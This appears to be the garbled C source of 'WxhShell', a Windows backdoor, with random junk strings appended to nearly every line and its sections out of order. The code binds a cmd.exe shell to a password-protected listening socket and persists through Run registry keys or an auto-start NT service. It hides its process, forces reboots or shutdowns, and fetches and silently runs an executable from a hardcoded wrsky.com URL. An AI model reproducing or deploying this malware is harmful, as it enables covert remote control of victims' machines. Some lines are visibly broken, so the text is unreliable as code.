    closesocket(wsh); K"eR 6_ k  
    ExitThread(0); ;3Fgy8 T  
    } eB/3MUz1  
    break; VJD$nh #M5  
    } k]Y+C@g  
  // 获取shell >!A&@1[M  
  case 's': { !l~tBJr*sB  
    CmdShell(wsh); 4PTHUyX  
    closesocket(wsh); ItQIM#  
    ExitThread(0); e`4OlM]  
    break; kJy<vb~   
  } R`G%eG)+  
  // 退出 N<Rb<p%  
  case 'x': { /4 RKA!W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^Ot+,l)  
    CloseIt(wsh); 7u,56V?X  
    break; 3nd02:GF  
    } {#uX   
  // 离开 TuwH?{ FzK  
  case 'q': { o; 6\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sBS\S  
    closesocket(wsh); T_6,o[b8  
    WSACleanup(); &of%;>$>M  
    exit(1); Mp?Ev.  
    break; p}uL%:Vr  
        } t?28s/?  
  } 9/D+6hJ]:  
  } go6Hb>  
a~OCo  
  // 提示信息 ,nMLua\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P^v`5v  
} Qz{:m  
  } !fwLC"QC  
Xo(K*eIN  
  return; 6 )0$UW  
} )Be}Ev#)Zx  
IyOujdKa  
// shell模块句柄 ?Z( 6..&  
int CmdShell(SOCKET sock) -}2q-  
{ [sFD-2y  
STARTUPINFO si; ZNFn^iuQ  
ZeroMemory(&si,sizeof(si)); \`{ YqOT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~yt+xWV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BI;in;Ln  
PROCESS_INFORMATION ProcessInfo; ]. 1[H~5N  
char cmdline[]="cmd"; + R])u5c'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4xT(Uj  
  return 0; PQ@(p%   
} dQ`ch~HVUW  
Il'+^u_ <  
// 自身启动模式 /,2Em>  
int StartFromService(void) iK(n'X5i  
{ Mh>^~;  
typedef struct r&0v,WSp&S  
{ ," :ADO-  
  DWORD ExitStatus; eXnMS!g%Z  
  DWORD PebBaseAddress; 7 -gt V#  
  DWORD AffinityMask; -[`,MZf   
  DWORD BasePriority; =B*,S#r  
  ULONG UniqueProcessId; J.?6a:#bU/  
  ULONG InheritedFromUniqueProcessId; nE Qw6q~je  
}   PROCESS_BASIC_INFORMATION; :uZcN  
HkJ$r<J2  
PROCNTQSIP NtQueryInformationProcess; zjM+F{P8  
O9p8x2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s~]Ri:7~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wjo xfPnf  
m]=|%a6  
  HANDLE             hProcess; vhTte |(  
  PROCESS_BASIC_INFORMATION pbi; 6T"[M  
&( b\jyf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,l#V eC  
  if(NULL == hInst ) return 0; c+_F nA  
g Uy >I(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @PU%BKe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,N< xyx.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xx#; )]WT  
9%$4Ux*q  
  if (!NtQueryInformationProcess) return 0; "So+  
`Q, moz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jQj`GnN|  
  if(!hProcess) return 0; ds4ERe /  
iU~oPp[e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zc{at}{  
{O]Cj~}  
  CloseHandle(hProcess); .?<,J  
-wW%+wH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U5Q `r7  
if(hProcess==NULL) return 0; n3g3(} Q0  
G;yf]xFd  
HMODULE hMod; -SlLX\>p  
char procName[255]; 0V}%'Ec<e  
unsigned long cbNeeded; L/F!Y%=;[  
@2L+"=u#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m.&z:`x[  
3EI$tP@4  
  CloseHandle(hProcess); wg<DV!GZ  
H`9E_[  
if(strstr(procName,"services")) return 1; // 以服务启动 >(|T]u](q  
W-<C%9O!  
  return 0; // 注册表启动 mKvk6OC  
} -Z-|49I/mN  
a^@6hC>sr  
// 主模块 MkRRBvk  
int StartWxhshell(LPSTR lpCmdLine) u1~H1 ]Ii  
{ ss-{l+Z5  
  SOCKET wsl; "/S-+Ufn  
BOOL val=TRUE; 2pQ zT  
  int port=0; 38 tRb"3zP  
  struct sockaddr_in door; dK#:io[Nz  
lN<vu#  
  if(wscfg.ws_autoins) Install(); TXv3@/>ZlG  
E"b+Q  
port=atoi(lpCmdLine); 0%<Fc9#  
^}a..@|%W  
if(port<=0) port=wscfg.ws_port; jri=UGf  
gH,^XZe  
  WSADATA data; P@`@?kMU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kbN2dL  
Ev,>_1#Xm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &_x:+{06  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X"z^4?Aj+  
  door.sin_family = AF_INET; K pDKIi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MD1n+FgTu  
  door.sin_port = htons(port); QaH32(iH  
5*/~) wN\U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >OgA3)X  
closesocket(wsl); F *=>=  
return 1; [1F.   
} k-Hy>5;  
?xWO>#/  
  if(listen(wsl,2) == INVALID_SOCKET) { mp*&{[XoVC  
closesocket(wsl); 8doKB<#_+=  
return 1; 08n2TL;EsX  
} ~Y7>P$G)  
  Wxhshell(wsl); ^":UkPFCx:  
  WSACleanup(); D|9xD  
b(Zh$86  
return 0; 6 6(|3DX  
ZP &q7HK\  
} -|bnvPmE  
z\Hg@J&#  
// 以NT服务方式启动 3yX^93  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r5M {*  
{ i882r=TE3  
DWORD   status = 0; <~@}r\  
  DWORD   specificError = 0xfffffff; LUc!a4i"fO  
Za_w@o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CBN,~wzP*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,bzE`6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <j,ZAA&5%Y  
  serviceStatus.dwWin32ExitCode     = 0; _C2iP[YwQ{  
  serviceStatus.dwServiceSpecificExitCode = 0; H*51GxK  
  serviceStatus.dwCheckPoint       = 0; HL]8E}e\"  
  serviceStatus.dwWaitHint       = 0; t6DgWKT6  
K~$A2b95  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hfE5[  
  if (hServiceStatusHandle==0) return; RL4J{4K  
OyH>N/  
status = GetLastError(); io%WV%1_  
  if (status!=NO_ERROR) i/E"E7  
{ R&KFF'%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &OQ37(<_  
    serviceStatus.dwCheckPoint       = 0; _JNSl2  
    serviceStatus.dwWaitHint       = 0; 1Bp?HyCR  
    serviceStatus.dwWin32ExitCode     = status; td JA?  
    serviceStatus.dwServiceSpecificExitCode = specificError; `k2YH?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @rI+.X  
    return; "A\h+q-  
  } @( p9}  
5,  "  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6l]jm j)/  
  serviceStatus.dwCheckPoint       = 0; +-~8t^  
  serviceStatus.dwWaitHint       = 0; 1[p6v4qO{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pse$S=  
} 0Lb:N]5m8  
o1lhVM`15  
// 处理NT服务事件,比如:启动、停止 ) rw!. )  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TS4Yzq,f  
{ lt08 E2p9  
switch(fdwControl) ^%ZbjJ7|j  
{ dyWj+N5(  
case SERVICE_CONTROL_STOP: q>|&u  
  serviceStatus.dwWin32ExitCode = 0; "QSmxr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /M!b3bmA  
  serviceStatus.dwCheckPoint   = 0; qQjd@J}^  
  serviceStatus.dwWaitHint     = 0; $0 ]xeD0X  
  { >vQ8~*xd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .JCd:'-  
  } [GQn1ZLc  
  return; FxU a5 n  
case SERVICE_CONTROL_PAUSE: Fi)(~ji:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RK )1@Tz7!  
  break; jKr\mb  
case SERVICE_CONTROL_CONTINUE: P^[eTR*?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pLj[b4p9  
  break; *I]/ [d  
case SERVICE_CONTROL_INTERROGATE: +2xgMN6B@  
  break; 9Xl[AVs:M  
}; sE^ee2]OI@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7<GC{/^T  
} ;P *`v  
ba-4V8w  
// 标准应用程序主函数 \!LIqqX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mc,3j~i  
{ ibH!bS{  
r)S:-wP  
// 获取操作系统版本 0:I[;Q t  
OsIsNt=GetOsVer(); qP{Fwn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -\<\OV:c*  
CS'LW;#[  
  // 从命令行安装 U7#C.Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gr-~&pm  
j+9;Rvt2  
  // 下载执行文件 5'\detV_  
if(wscfg.ws_downexe) { @eJ6UML"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w**~k]In  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5o6X.sC8e  
} mqtX7rej  
]f{3_M[  
if(!OsIsNt) { HmiG%1+{A  
// 如果时win9x,隐藏进程并且设置为注册表启动 4mjlat(d  
HideProc(); v}LI-~M>U  
StartWxhshell(lpCmdLine); : &bJMzB  
} sZx`u+  
else A^ofs*"Y  
  if(StartFromService()) "%}24t%  
  // 以服务方式启动 GXaPfC0-y  
  StartServiceCtrlDispatcher(DispatchTable); _?> x{![  
else  8 X Qo  
  // 普通方式启动 N TcojA{V$  
  StartWxhshell(lpCmdLine); \5|MW)x  
KFg q3snH  
return 0; $J8g)cS  
} / 3eGt7x#  
GQ(*k)'a  
\sz*M B  
C(8VXtx_  
=========================================== .Hnhd/ c  
d.|*sZ&3p  
dbJ3E)rF  
3xk_ZK82  
4VF4 8  
J}NMF#w/;  
" e"y-A&|  
r]@T9\9  
#include <stdio.h> !(Ymc_s  
#include <string.h> IR:GoD+  
#include <windows.h> 7Kf  
#include <winsock2.h> jW]"Um-]  
#include <winsvc.h> Q6)?#7<jy  
#include <urlmon.h> e |K_y~  
I cASzSjYX  
#pragma comment (lib, "Ws2_32.lib") m%0_fNSJ  
#pragma comment (lib, "urlmon.lib") N a$.VT  
=r4sF!g  
#define MAX_USER   100 // 最大客户端连接数  ZC]|s[  
#define BUF_SOCK   200 // sock buffer NH;e|8  
#define KEY_BUFF   255 // 输入 buffer f&j\gYWq  
X%mga~fB  
#define REBOOT     0   // 重启 %~I&T". iC  
#define SHUTDOWN   1   // 关机 |8pSMgN  
denxcDFu/~  
#define DEF_PORT   5000 // 监听端口 uI$n7\G!  
NN#k^[i1  
#define REG_LEN     16   // 注册表键长度 4> uNH5  
#define SVC_LEN     80   // NT服务名长度 n }b{u@$  
c2t`i  
// 从dll定义API R#3zGWr~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lz!(OO,g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6cd!;Ca  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ftvu69f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?wu@+  
@0]w!q  
// wxhshell配置信息 0C;Js\>3]  
struct WSCFG { X-tw)  
  int ws_port;         // 监听端口  )ut$644R  
  char ws_passstr[REG_LEN]; // 口令 -RJ~Sky[  
  int ws_autoins;       // 安装标记, 1=yes 0=no (/At+MF3E  
  char ws_regname[REG_LEN]; // 注册表键名 ^vxx]Hji  
  char ws_svcname[REG_LEN]; // 服务名 *^%+PQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EnGh&]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &\I<j\F2/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m.rV1#AI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i}:hmy'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6fo\ z2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @  R[K8  
~n8UN<  
}; j85B{Mab&  
FShUw+y  
// default Wxhshell configuration A@Q6}ESD  
struct WSCFG wscfg={DEF_PORT, Td,d9M  
    "xuhuanlingzhe", 4qQE9f xdY  
    1, s >:gL,%c  
    "Wxhshell", <jh7G  
    "Wxhshell", yUWc8]9\W  
            "WxhShell Service", :8(jhs  
    "Wrsky Windows CmdShell Service", 8!0fT}  
    "Please Input Your Password: ", u(FOSmNkN  
  1, &a4FGzR#  
  "http://www.wrsky.com/wxhshell.exe", #q K.AZi  
  "Wxhshell.exe"  Cu5_OJ  
    }; cpl Ny?UIC  
Ux1j+}y  
// 消息定义模块 -8l(eDm"m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Gk+R, :  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [0qswsV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K>vl o/#!  
char *msg_ws_ext="\n\rExit."; L*dGo,oN  
char *msg_ws_end="\n\rQuit."; a_bZT4  
char *msg_ws_boot="\n\rReboot..."; $3B%4#s  
char *msg_ws_poff="\n\rShutdown..."; \#JXch  
char *msg_ws_down="\n\rSave to "; %f'=9pit  
Xq )7Im}?  
char *msg_ws_err="\n\rErr!"; _p0gXb1m`  
char *msg_ws_ok="\n\rOK!"; DLP@?]BBOA  
4lR+nmAZ  
char ExeFile[MAX_PATH]; .71ZeLv*  
int nUser = 0; CVvl &on  
HANDLE handles[MAX_USER]; W4$aX5ow$  
int OsIsNt;  S!#5  
4i.&geX A.  
SERVICE_STATUS       serviceStatus; @54$IhhT~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x&^Xgi?  
za}Kd^KeB  
// 函数声明 M*bsA/Z  
int Install(void); Y- Q)sv  
int Uninstall(void); 2+I5VPf  
int DownloadFile(char *sURL, SOCKET wsh); [u;(4sa}  
int Boot(int flag); H>D sAHS  
void HideProc(void); Y@:l!4DI  
int GetOsVer(void); cLp_\\  
int Wxhshell(SOCKET wsl); 5 =8v\q?)c  
void TalkWithClient(void *cs); t\LE\[XM>  
int CmdShell(SOCKET sock); 50dN~(;p  
int StartFromService(void); IP$eJL[&D"  
int StartWxhshell(LPSTR lpCmdLine); 5L<A7^j  
Xp| 4WM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ob8}v*s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b:'8_jL  
(1q(6!  
// 数据结构和表定义 ftcLP  
SERVICE_TABLE_ENTRY DispatchTable[] = Ip`1Wv_  
{ 5x|$q kI  
{wscfg.ws_svcname, NTServiceMain}, p#Po?  
{NULL, NULL} Q!3-P  
}; /s%-c!o^  
)X," NJG  
// 自我安装 "=K3sk  
int Install(void) V~#5^PF{  
{ I$S*elveG  
  char svExeFile[MAX_PATH]; jl}!UG  
  HKEY key; "=+i~N#Sc  
  strcpy(svExeFile,ExeFile); K|\0jd)N  
n^$Q^[:Z  
// 如果是win9x系统,修改注册表设为自启动 0[fBP\H"Wr  
if(!OsIsNt) { @`+\v mfD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^7ID |uMr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); shL_{}  
  RegCloseKey(key); x^c,cV+*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c%O97J.5b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aCH;l~+U  
  RegCloseKey(key); c$)>$&([  
  return 0; `n-/~7  
    } ?7TmAll<.s  
  } cAGM|%  
} bf=\ED^  
else { RhmkpboucC  
ctHQZ#.[(  
// 如果是NT以上系统,安装为系统服务 o3\^9-jmp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f3n^Sw&Q(Q  
if (schSCManager!=0) ?./fVoA]V  
{ 1u5^a^O(|  
  SC_HANDLE schService = CreateService ]K8G}|Wy6  
  ( -hfkF+=U'  
  schSCManager, (w2lVL&   
  wscfg.ws_svcname, %scIZCrI~  
  wscfg.ws_svcdisp, mXhC-8P  
  SERVICE_ALL_ACCESS, A@?-"=h}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ns~bz-n  
  SERVICE_AUTO_START, rQNm2h  
  SERVICE_ERROR_NORMAL, +~YoP>  
  svExeFile, 2Mq@5n  
  NULL, J =8Y D"1  
  NULL, z>0$SBQ-  
  NULL, G5OGyQp  
  NULL, Im-qGB0C  
  NULL ~`Vo0Z*S  
  ); pzjNi=vhd  
  if (schService!=0) 8kSyT'k C%  
  { ]8OmYU%6V  
  CloseServiceHandle(schService); Ake l.&  
  CloseServiceHandle(schSCManager); etX(~"gG_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0FH.=   
  strcat(svExeFile,wscfg.ws_svcname); hP{+`\&<f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k,'MmAz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <\uDtbK  
  RegCloseKey(key); k:iy()n[  
  return 0; ollVg/z  
    } J#j3?qrxu  
  } Q(Q?L5  
  CloseServiceHandle(schSCManager); 7LM&3mA<  
} Wl=yxJu_(  
} TG8U=9qt  
vfj{j= G  
return 1; *kZH~]  
} (4RtoYWW  
7!(/7U6rP  
// 自我卸载 -qvMMit%7  
int Uninstall(void) dT&u}o3X  
{ G#f3 WpD  
  HKEY key; X{i>Q_8>  
hyJ&~i0P{J  
if(!OsIsNt) { =d<~:!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GV ) "[O  
  RegDeleteValue(key,wscfg.ws_regname); !2&)6SL/  
  RegCloseKey(key); Khv}q.)F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ME!P{ _/  
  RegDeleteValue(key,wscfg.ws_regname); dblf , x  
  RegCloseKey(key); ^jb;4nf  
  return 0; xL<c/B`-:  
  } ^?\|2H  
} 9An \uH)mL  
} U6wy^!_X9  
else { ]Lg~ I#/#  
ZQir?1=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~#VDJ[Z  
if (schSCManager!=0) 9vW]HOK  
{ X7-[#} T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y4 ]5z/  
  if (schService!=0) z<^LY]  
  { }M"])B I  
  if(DeleteService(schService)!=0) { g] ]6)nT  
  CloseServiceHandle(schService); =+?OsH v  
  CloseServiceHandle(schSCManager); s S3RK  
  return 0; W?!rqo2SP  
  } K5^zu`19  
  CloseServiceHandle(schService); LH @B\ mS  
  } iFcSz  
  CloseServiceHandle(schSCManager); ~ Al3Dv9x  
} }wBpBw2J  
}  huyfo1(  
Btr>ek  
return 1; cBOK@\x:Wi  
} c05-1  
sKs`gi2  
// 从指定url下载文件 SS8$.ot  
int DownloadFile(char *sURL, SOCKET wsh) ./.aLTh  
{ P|lDW|}D@  
  HRESULT hr; G;pmR^  
char seps[]= "/"; n) D  
char *token; 3QVUWhJ  
char *file; +O8zVWr  
char myURL[MAX_PATH]; BG.8 q4[  
char myFILE[MAX_PATH]; c3c3T`B  
2ve<1+V_  
strcpy(myURL,sURL); Y[>h |@  
  token=strtok(myURL,seps); {%P 2.:  
  while(token!=NULL) 9AQ,@xP|  
  { `m#G'E I  
    file=token; `(P71T  
  token=strtok(NULL,seps); x;} 25A|  
  } _(~ E8g  
UQYHR+  
GetCurrentDirectory(MAX_PATH,myFILE); *V+,X  
strcat(myFILE, "\\"); xC0y2+)|  
strcat(myFILE, file); ea`6J  
  send(wsh,myFILE,strlen(myFILE),0); ,z`D}< 3  
send(wsh,"...",3,0); <}c7E3Uc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vpdPW%B  
  if(hr==S_OK) XN?my@_HpM  
return 0; :P%?!'M  
else mMWhUr  
return 1; 7Lj:m.0O^  
VQ2'a/s  
} GiK,+M"d  
$nIE;idk  
// 系统电源模块 )"{}L.gC6  
int Boot(int flag) }vgM$o  
{ s[/d}S@ >  
  HANDLE hToken; :M`~9MCRf  
  TOKEN_PRIVILEGES tkp; E[zq<&P@  
saQo]6#  
  if(OsIsNt) { &t_TLV 8T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aCIz(3^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dNqj|Vu  
    tkp.PrivilegeCount = 1; $83Qd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u}_x   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C8)s6  
if(flag==REBOOT) { usoyH0t!?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qx*b\6Rt  
  return 0; "A~D(1K  
} 8ql<7RTM!  
else { 4OO^%`=)M'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1~2+w]-kU  
  return 0; P%vouC0W  
} Zn Rj}y  
  } @7Ln1v  
  else { >Lo'H}[pF  
if(flag==REBOOT) { .A6pPRy e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9asA-'fZ  
  return 0; (sH4 T>  
} -=UvOzw  
else { K9VP@[zbJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UMFM.GI  
  return 0; a~JZc<ze  
} 87)/dHc  
} 'iwTvkf{  
Z?9G2<i  
return 1; k{lXK\zN  
} 3KkJQ5a  
n<b}6L}  
// win9x进程隐藏模块 <Zfh5AM  
void HideProc(void) |\| v%`r2  
{ j!;E>`g  
ma) + G!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~]<VEji  
  if ( hKernel != NULL ) a?Y>hvI  
  { oz|+{b}%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }"%mP 4]&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); < %<nh`D  
    FreeLibrary(hKernel); ~% `hh9]  
  } S?D]P'<  
z 3Z8vq  
return; E0!0 uSg&  
} V}Q`dEk2r  
#\_FSr fX  
// 获取操作系统版本 K9nW"0>  
int GetOsVer(void) =0;njL(7;  
{ zc,X5R1  
  OSVERSIONINFO winfo; <RH%FhT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~qTChCXP  
  GetVersionEx(&winfo); ka(3ONbG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ={6vShG)m  
  return 1; qkC{IBN92  
  else Q MX  
  return 0; #BH]`A J  
} X_rv}  
j9/iBK\Y  
// 客户端句柄模块 g@?R"  
int Wxhshell(SOCKET wsl) ]S@DVXH  
{ t)O]0) s  
  SOCKET wsh; fmLDufx  
  struct sockaddr_in client; 3{ea~G)[9  
  DWORD myID; I-kK^_0mV<  
fti0Tz'  
  while(nUser<MAX_USER) }y(cv}8Y  
{ KxFA@3  
  int nSize=sizeof(client); p-!/p#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o(D_ /]'8  
  if(wsh==INVALID_SOCKET) return 1; @|OGxQoC  
! 8Ro5),  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q 4Ok$~"I  
if(handles[nUser]==0) }h3[QUVf%  
  closesocket(wsh); *kj+6`:CPs  
else K,P`V &m?  
  nUser++; ~0Zy$L/D  
  } N!\1O,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EVLDP\w{  
*rV{(%\m  
  return 0; v!n|X7  
} B~O<?@]d  
s~5rP:  
// 关闭 socket (Bpn9}F-V.  
void CloseIt(SOCKET wsh) lm+s5}*%o  
{ )! k l:  
closesocket(wsh); Qdc)S>gp  
nUser--; 6]HMhv  
ExitThread(0); 4T){z^"  
} AmCymT3P*e  
2@N-#x '  
// 客户端请求句柄 Dj0D.}`~  
void TalkWithClient(void *cs) O[|X=ZwR:l  
{ s4=EyBI  
=#{q#COK$  
  SOCKET wsh=(SOCKET)cs; :#N]s  
  char pwd[SVC_LEN]; T/hz23nH  
  char cmd[KEY_BUFF]; #.,LWL]  
char chr[1]; q+?q[:nR-  
int i,j; Y%zWaH  
I}}>M#  
  while (nUser < MAX_USER) { }%y5<n*v\  
Wk }}f|O0  
if(wscfg.ws_passstr) { $g,v]MW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZlcEeG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dtV7YPz4+  
  //ZeroMemory(pwd,KEY_BUFF); oGt2n:  
      i=0; 25W #mh,'  
  while(i<SVC_LEN) { 2';{o=TXV  
>I+p;V$@  
  // 设置超时 ]x'd0GH"]  
  fd_set FdRead; Jr(Z Ym'  
  struct timeval TimeOut; @v\8+0  
  FD_ZERO(&FdRead); _ZK*p+u%  
  FD_SET(wsh,&FdRead); I%z,s{9p  
  TimeOut.tv_sec=8; $B]_^  
  TimeOut.tv_usec=0; _@_EQ!=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X LY>}r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4i"fHVp8  
gmiLjI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G//hZwf0  
  pwd=chr[0]; lxR]Bh+  
  if(chr[0]==0xd || chr[0]==0xa) { @)ls+}=Y  
  pwd=0; m1sV~"v;  
  break; hw B9N  
  } pqohLA  
  i++; !bn=b>+  
    } sWVapu p?  
&hM7y7  
  // 如果是非法用户,关闭 socket 9!dG Xq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +z~bH!$2  
} < 7*9b  
;2gO(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "_+8z_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p$Floubh]  
+'[/eW  
while(1) { p@d_Ru  
>YcaFnY  
  ZeroMemory(cmd,KEY_BUFF); .kfx\,lgm  
VLbbn  
      // 自动支持客户端 telnet标准   (L W2S;-  
  j=0; 4S* X=1  
  while(j<KEY_BUFF) { ~L_1&q^4!i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aR)w~s\6  
  cmd[j]=chr[0]; (De>k8  
  if(chr[0]==0xa || chr[0]==0xd) { 3/,}&SX  
  cmd[j]=0; `2M*?.vk  
  break; *}>)E]O@  
  } |Rm_8n%m  
  j++; YQR[0Y&e=  
    } 5YgT*}L+,  
ZdT-  
  // 下载文件 py wc~dWvz  
  if(strstr(cmd,"http://")) { :8A@4vMS)?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {WTy/$ Qk  
  if(DownloadFile(cmd,wsh)) xg'xuz$U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 79+i4(H  
  else DjvPeX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .OlPVMFt  
  } Q$Sp'  
  else { MG^YT%f  
 ;B{oGy.  
    switch(cmd[0]) { y#/P||PM  
  E<@N4%K_Q  
  // 帮助 -'^:+FU  
  case '?': { kR8,E6Up  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5? f!hB|6  
    break; EZZE(dq@gf  
